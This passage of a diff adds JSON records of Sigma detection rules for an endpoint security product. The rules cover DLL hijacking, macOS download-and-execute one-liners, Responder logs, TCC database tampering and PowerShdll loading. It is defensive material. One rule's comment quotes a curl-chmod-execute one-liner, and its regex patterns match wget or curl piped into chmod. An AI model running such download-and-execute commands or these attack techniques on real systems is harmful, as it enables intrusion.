+  "rule_description": "Detects potential Windows DLL Hijacking via wkspbroker.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "646cd21f-0ab5-4c42-ace5-ba0895d6b650",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618250Z",
+  "creation_date": "2026-03-23T11:45:34.618253Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618257Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/en-us/security/blog/2024/10/17/new-macos-vulnerability-hm-surf-could-lead-to-unauthorized-data-access/",
+    "https://attack.mitre.org/techniques/T1059/004/",
+    "https://attack.mitre.org/techniques/T1105/"
+  ],
+  "name": "t1059_004_remote_file_execution.yml",
+  "content": "title: Suspicious Download and Execution of a Remote File (macOS)\nid: 646cd21f-0ab5-4c42-ace5-ba0895d6b650\ndescription: |\n    Detects the download and execution of a file in a one-liner command.\n    Attackers may try to download and execute a remote payload as part of their kill chain.\n    It is recommended to check for malicious behavior by the process launching the command and its potential children.\nreferences:\n    - https://www.microsoft.com/en-us/security/blog/2024/10/17/new-macos-vulnerability-hm-surf-could-lead-to-unauthorized-data-access/\n    - https://attack.mitre.org/techniques/T1059/004/\n    - https://attack.mitre.org/techniques/T1105/\ndate: 2024/10/18\nmodified: 2025/01/09\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.004\n    - attack.command_and_control\n    - attack.t1105\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.FileDownload\nlogsource:\n    product: macos\n    category: process_creation\ndetection:\n    selection:\n        # tmp=”$(mktemp /tmp/XXXXXXXX)”; curl –retry 5 -f “[url]” -o “${tmp}”; if [[ -s “${tmp}” ]]; then chmod 777 “${tmp}”; “${tmp}”; fi; rm “${tmp}”\n        ProcessParentImage|endswith:\n            - '/sh'\n            - '/bash'\n            - '/csh'\n            - '/dash'\n            - '/ksh'\n            - '/tcsh'\n            - '/zsh'\n        # use regexp to eliminate multi-line script\n        ProcessParentCommandLine|re:\n            - '^.*(wget|curl) *.*chmod *\\+x.*$'\n            - '^.*(wget|curl) *.*chmod *7\\d\\d.*$'\n\n    filter_expected:\n        ProcessImage|endswith:\n            - '/wget'\n            - '/curl'\n            - '/chmod'\n            - '/mkdir'\n            - '/mv'\n            - '/cp'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "646cd21f-0ab5-4c42-ace5-ba0895d6b650",
+  "rule_name": "Suspicious Download and Execution of a Remote File (macOS)",
+  "rule_description": "Detects the download and execution of a file in a one-liner command.\nAttackers may try to download and execute a remote payload as part of their kill chain.\nIt is recommended to check for malicious behavior by the process launching the command and its potential children.\n",
+  "rule_creation_date": "2024-10-18",
+  "rule_modified_date": "2025-01-09",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.004",
+    "attack.t1105"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "647306ca-bd03-4108-ac71-b90bb1bb95fd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.612711Z",
+  "creation_date": "2026-03-23T11:45:34.612714Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.612722Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/SpiderLabs/Responder",
+    "https://github.com/lgandx/Responder",
+    "https://attack.mitre.org/software/S0174/"
+  ],
+  "name": "t1557_001_log_file_responder.yml",
+  "content": "title: Log Files Related to Responder Written\nid: 647306ca-bd03-4108-ac71-b90bb1bb95fd\ndescription: |\n    Detects file writes on default Responder file logs.\n    Responder is an open source tool used for poisoning LLMNR, NBT-NS, and mDNS queries, selectively responding based on query types, primarily targeting SMB services.\n    Attackers can use this tool for privilege escalation, credential access and lateral movement.\n    It is recommended to verify if the usage of this tool is legitimate.\nreferences:\n    - https://github.com/SpiderLabs/Responder\n    - https://github.com/lgandx/Responder\n    - https://attack.mitre.org/software/S0174/\ndate: 2024/09/26\nmodified: 2025/01/20\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.collection\n    - attack.t1557.001\n    - attack.discovery\n    - attack.t1040\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.HackTool.Responder\n    - classification.Linux.Behavior.CredentialAccess\n    - classification.Linux.Behavior.Lateralization\n    - classification.Linux.Behavior.PrivilegeEscalation\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection:\n        Kind: 'access'\n        Permissions: 'write'\n        Path|endswith:\n            - '/logs/Poisoners-Session.log'\n            - '/logs/Responder-Session.log'\n            - '/logs/SMB-NTLMv2-SSP-*.txt'\n            - '/logs/SMB-NTLMv2-Client-*.txt'\n            - '/logs/SMB-NTLMSSPv2-Client-*.txt'\n\n    condition: selection\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "647306ca-bd03-4108-ac71-b90bb1bb95fd",
+  "rule_name": "Log Files Related to Responder Written",
+  "rule_description": "Detects file writes on default Responder file logs.\nResponder is an open source tool used for poisoning LLMNR, NBT-NS, and mDNS queries, selectively responding based on query types, primarily targeting SMB services.\nAttackers can use this tool for privilege escalation, credential access and lateral movement.\nIt is recommended to verify if the usage of this tool is legitimate.\n",
+  "rule_creation_date": "2024-09-26",
+  "rule_modified_date": "2025-01-20",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.credential_access",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1040",
+    "attack.t1557.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6474fd32-8cfd-41e6-b171-96fdd9a36020",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091937Z",
+  "creation_date": "2026-03-23T11:45:34.091939Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091944Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_excel.yml",
+  "content": "title: DLL Hijacking via Excel.exe\nid: 6474fd32-8cfd-41e6-b171-96fdd9a36020\ndescription: |\n    Detects potential Windows DLL Hijacking via Excel.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'Excel.exe'\n        ProcessSignature: 'Microsoft Corporation'\n        ImageLoaded|endswith:\n            - '\\directmanipulation.dll'\n            - '\\msctf.dll'\n            - '\\mswsock.dll'\n            - '\\netprofm.dll'\n            - '\\npmproxy.dll'\n            - '\\rsaenh.dll'\n            - '\\twinapi.dll'\n            - '\\windows.storage.dll'\n            - '\\windowscodecs.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files\\Microsoft Office\\root\\Office*\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6474fd32-8cfd-41e6-b171-96fdd9a36020",
+  "rule_name": "DLL Hijacking via Excel.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via Excel.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6480276d-6c1f-41b0-aa47-92423c017072",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626586Z",
+  "creation_date": "2026-03-23T11:45:34.626588Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626592Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.elastic.co/security-labs/inital-research-of-jokerspy",
+    "https://attack.mitre.org/techniques/T1548/006/"
+  ],
+  "name": "t1548_006_tcc_database_created_modified.yml",
+  "content": "title: Suspicious TCC Database Modification\nid: 6480276d-6c1f-41b0-aa47-92423c017072\ndescription: |\n    Detects a suspicious modification of the Transparency, Consent, & Control (TCC) database.\n    Adversaries may manipulate the TCC database to execute malicious content with privileged access.\n    It is recommended to verify if the process performing the modification has legitimate reason to do so.\nreferences:\n    - https://www.elastic.co/security-labs/inital-research-of-jokerspy\n    - https://attack.mitre.org/techniques/T1548/006/\ndate: 2024/06/18\nmodified: 2026/01/13\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.006\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.PrivilegeEscalation\n    - classification.macOS.Behavior.SystemModification\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n\n    selection_files:\n        # /Library/Application Support/com.apple.TCC/TCC.db\n        # ~/Library/Application Support/com.apple.TCC/TCC.db\n        - Path|endswith: '/Library/Application Support/com.apple.TCC/TCC.db'\n        - TargetPath|endswith: '/Library/Application Support/com.apple.TCC/TCC.db'\n\n    selection_process:\n        ProcessImage|contains: '?'\n\n    filter_read:\n        Kind: 'read'\n\n    filter_tccd:\n        - Image:\n            - '/System/Library/PrivateFrameworks/TCC.framework/Support/tccd'\n            - '/System/Library/PrivateFrameworks/TCC.framework/Versions/A/Resources/tccd'\n        - ProcessImage:\n            - '/System/Library/PrivateFrameworks/TCC.framework/Support/tccd'\n            - '/System/Library/PrivateFrameworks/TCC.framework/Versions/A/Resources/tccd'\n\n    filter_privateframework:\n        Image:\n            - '/System/Library/PrivateFrameworks/SystemAdministration.framework/XPCServices/writeconfig.xpc/Contents/MacOS/writeconfig'\n            - '/System/Library/PrivateFrameworks/SystemAdministration.framework/Resources/DirectoryTools'\n\n    exclusion_sophos:\n        - Image: '/Library/Sophos Anti-Virus/SophosServiceManager.app/Contents/MacOS/SophosServiceManager'\n        - ProcessImage: '/Library/Sophos Anti-Virus/SophosServiceManager.app/Contents/MacOS/SophosServiceManager'\n\n    exclusion_landesk:\n        Image: '/Library/Application Support/LANDesk/bin/ivEMH.app/Contents/MacOS/ivEMH'\n\n    exclusion_splashtop:\n        Image: '/usr/bin/sqlite3'\n        ProcessCommandLine:\n            - \"sqlite3 /Library/Application Support/com.apple.TCC/TCC.db SELECT auth_value from access WHERE client='com.splashtop.Splashtop-Streamer' AND service='kTCCServiceRemoteDesktop';\"\n            - \"sqlite3 /Library/Application Support/com.apple.TCC/TCC.db SELECT auth_value from access WHERE client='com.splashtop.Splashtop-Streamer.daemon' AND service='kTCCServiceCamera';\"\n\n    exclusion_cybereason:\n        ProcessParentImage: '/Library/PreferencePanes/ActiveProbe.prefPane/Contents/MacOS/CybereasonAv.app/Contents/MacOS/CybereasonAv'\n        ProcessCommandLine: 'sqlite3 /Library/Application Support/com.apple.TCC/TCC.db select * from access'\n\n    exclusion_desktopserviceshelper:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.apple.DesktopServicesHelper'\n\n    exclusion_chown:\n        ProcessImage: '/usr/sbin/chown'\n\n    exclusion_chmod:\n        ProcessImage: '/bin/chmod'\n\n    exclusion_logout:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.apple.sessionlogoutd'\n\n    exclusion_directory:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.apple.DirectoryTools'\n\n    exclusion_authorization_host:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.apple.authorizationhost'\n\n    exclusion_mcafee:\n        Image:\n            - '/usr/local/McAfee/fmp/bin/fmpd'\n            - '/usr/local/McAfee/fmp/bin64/fmpd'\n\n    exclusion_carbon_copy_cloner:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId:\n            - 'com.bombich.ccchelper'\n            - 'com.bombich.ccc'\n\n    exclusion_netgear_antivirus:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.netgear.antivirusformac'\n\n    exclusion_orange_antivirus:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.orangefr.antivirusformac'\n\n    exclusion_jumpcloud:\n        ProcessCommandLine: \"sqlite3 /Library/Application Support/com.apple.TCC/TCC.db select auth_value from access where service='kTCCServiceScreenCapture' and client='com.jumpcloud.assist-app'\"\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6480276d-6c1f-41b0-aa47-92423c017072",
+  "rule_name": "Suspicious TCC Database Modification",
+  "rule_description": "Detects a suspicious modification of the Transparency, Consent, & Control (TCC) database.\nAdversaries may manipulate the TCC database to execute malicious content with privileged access.\nIt is recommended to verify if the process performing the modification has legitimate reason to do so.\n",
+  "rule_creation_date": "2024-06-18",
+  "rule_modified_date": "2026-01-13",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "64c30585-b56c-4b85-9210-f2f288bbf74f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.296021Z",
+  "creation_date": "2026-03-23T11:45:35.296024Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.296031Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2023/11/09055246/Modern-Asian-APT-groups-TTPs_report_eng.pdf",
+    "https://attack.mitre.org/techniques/T1204/002/"
+  ],
+  "name": "t1204_002_susp_single_char_executable.yml",
+  "content": "title: Single Character Binary Executed\nid: 64c30585-b56c-4b85-9210-f2f288bbf74f\ndescription: |\n    Detects the execution of a single character executable.\n    Adversaries may use short-name for their malicious binaries, such as 'm.exe' for Mimikatz or 'r.exe' for WinRar for defense evasion.\n    It is recommended to verify the legitimacy of the binary.\nreferences:\n    - https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2023/11/09055246/Modern-Asian-APT-groups-TTPs_report_eng.pdf\n    - https://attack.mitre.org/techniques/T1204/002/\ndate: 2024/10/02\nmodified: 2026/02/16\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1204.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Masquerading\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        ProcessName|re: '^.\\....$'\n        Image|startswith:\n            - '?:\\windows\\'\n            - '?:\\ProgramData\\'\n            - '?:\\PerfLogs\\'\n            - '?:\\temp\\'\n            - '?:\\users\\public\\'\n            - '?:\\users\\\\*\\appdata\\'\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n            - '?:\\\\?Recycle.Bin\\'\n\n    exclusion_r:\n        - Description|contains: 'R for Windows'\n          ProcessName: 'r.exe'\n        - ProcessParentDescription|contains: 'R for Windows'\n        - ProcessParentName: 'r.exe'\n          ProcessName: 'r.tmp'\n        - ProcessCommandLine|contains: '--slave -e IRkernel::main()'\n          ProcessName: 'r.exe'\n\n    exclusion_d5:\n        ProcessName: '2.exe'\n        ProcessSignature: 'D5 Inc.'\n\n    exclusion_nvidia:\n        ProcessName: '?.dat'\n        ProcessParentImage: '?:\\Program Files\\NVIDIA Corporation\\NvContainer\\nvcontainer.exe'\n\n    exclusion_echtherm:\n        Image:\n            - '?:\\Program Files\\EchTherm\\fscommand\\\\?.EXE'\n            - '?:\\Program Files (x86)\\EchTherm\\fscommand\\\\?.EXE'\n\n    exclusion_security_update:\n        ProcessParentImage: '?:\\Windows\\System32\\wuauclt.exe'\n        ProcessGrandparentImage: '?:\\Windows\\System32\\svchost.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Microsoft Corporation'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Windows'\n\n    exclusion_intunes:\n        ProcessGrandparentImage:\n            - '?:\\Program Files\\Microsoft Intune Management Extension\\AgentExecutor.exe'\n            - '?:\\Program Files (x86)\\Microsoft Intune Management Extension\\AgentExecutor.exe'\n\n    exclusion_hp_connect:\n        ProcessParentCommandLine:\n            - '?:\\windows\\temp\\h.exe /log=* /destdir=?:\\Program Files\\HPConnect\\hp-cmsl-wl'\n            - '?:\\windows\\temp\\h.exe /log=* /destdir=?:\\Program Files (x86)\\HPConnect\\hp-cmsl-wl'\n\n    exclusion_unity:\n        ProcessParentCommandLine: '?:\\windows\\system32\\cmd.exe /c *\\appdata\\local\\temp\\is-rar*.tmp\\x.exe *\\data.unity3d *\\data.unity3d_*'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "64c30585-b56c-4b85-9210-f2f288bbf74f",
+  "rule_name": "Single Character Binary Executed",
+  "rule_description": "Detects the execution of a single character executable.\nAdversaries may use short-name for their malicious binaries, such as 'm.exe' for Mimikatz or 'r.exe' for WinRar for defense evasion.\nIt is recommended to verify the legitimacy of the binary.\n",
+  "rule_creation_date": "2024-10-02",
+  "rule_modified_date": "2026-02-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1204.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "64dc131a-601c-401c-a7e3-9e1968f77040",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.609412Z",
+  "creation_date": "2026-03-23T11:45:34.609416Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.609423Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/p3nt4/PowerShdll",
+    "https://attack.mitre.org/techniques/T1059/001/",
+    "https://attack.mitre.org/techniques/T1202/"
+  ],
+  "name": "t1059_001_powershdll_dll_loaded.yml",
+  "content": "title: Powershdll DLL Loaded\nid: 64dc131a-601c-401c-a7e3-9e1968f77040\ndescription: |\n    Detects the loading of the Powershdll, allowing PowerShell script defense evasion.\n    Attackers can use this tool to execute PowerShell scripts without spawning the PowerShell executable, allowing them to evade defensive measures.\n    It is recommended to investigate the process loading the DLL to look for malicious content or actions.\nreferences:\n    - https://github.com/p3nt4/PowerShdll\n    - https://attack.mitre.org/techniques/T1059/001/\n    - https://attack.mitre.org/techniques/T1202/\ndate: 2022/10/11\nmodified: 2025/01/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.defense_evasion\n    - attack.t1202\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.HackTool.Powershdll\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        - ImageLoaded|endswith: '\\PowerShdll.dll'\n        - OriginalFileName: 'PowerShdll.dll'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "64dc131a-601c-401c-a7e3-9e1968f77040",
+  "rule_name": "Powershdll DLL Loaded",
+  "rule_description": "Detects the loading of the Powershdll, allowing PowerShell script defense evasion.\nAttackers can use this tool to execute PowerShell scripts without spawning the PowerShell executable, allowing them to evade defensive measures.\nIt is recommended to investigate the process loading the DLL to look for malicious content or actions.\n",
+  "rule_creation_date": "2022-10-11",
+  "rule_modified_date": "2025-01-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1202"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "64f5ab15-4127-4a91-b2bc-5109aad8b014",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619524Z",
+  "creation_date": "2026-03-23T11:45:34.619526Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619530Z",
+  "rule_level": "low",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1027.001/T1027.001.md",
